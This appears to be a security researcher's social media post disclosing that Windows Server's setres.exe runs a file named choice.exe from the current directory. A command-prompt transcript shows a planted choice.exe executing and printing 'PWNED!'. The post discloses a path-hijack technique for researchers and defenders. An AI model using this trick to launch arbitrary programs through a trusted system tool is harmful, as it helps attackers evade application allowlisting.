Grzegorz Tworek 
@0gtweet

New (at least for me) #LOLBin again 🙄
Server-only setres.exe launches "choice" from the current path. Enjoy :)

```
Administrator: C:\Windows\system32\cmd.exe

C:\temp>dir
Volume in drive C has no label.
Volume Serial Number is C4A8-FA6B

Directory of C:\temp

10/21/2022  09:08 AM    <DIR>          .
10/21/2022  09:08 AM    <DIR>          ..
10/21/2022  09:07 AM             121,872 choice.exe
               1 File(s)              121,872 bytes
               2 Dir(s)  35,954,536,448 bytes free

C:\temp>setres -w 800 -h 600
setres will now attempt to apply the following display settings:
Width:      800
Height:     600
Your screen may go blank for a moment. If your screen remains blank, press N
or restart your computer to revert the display settings.
Do you want to save the display settings?
PWNED!
The display settings have been reverted.

C:\temp>
```
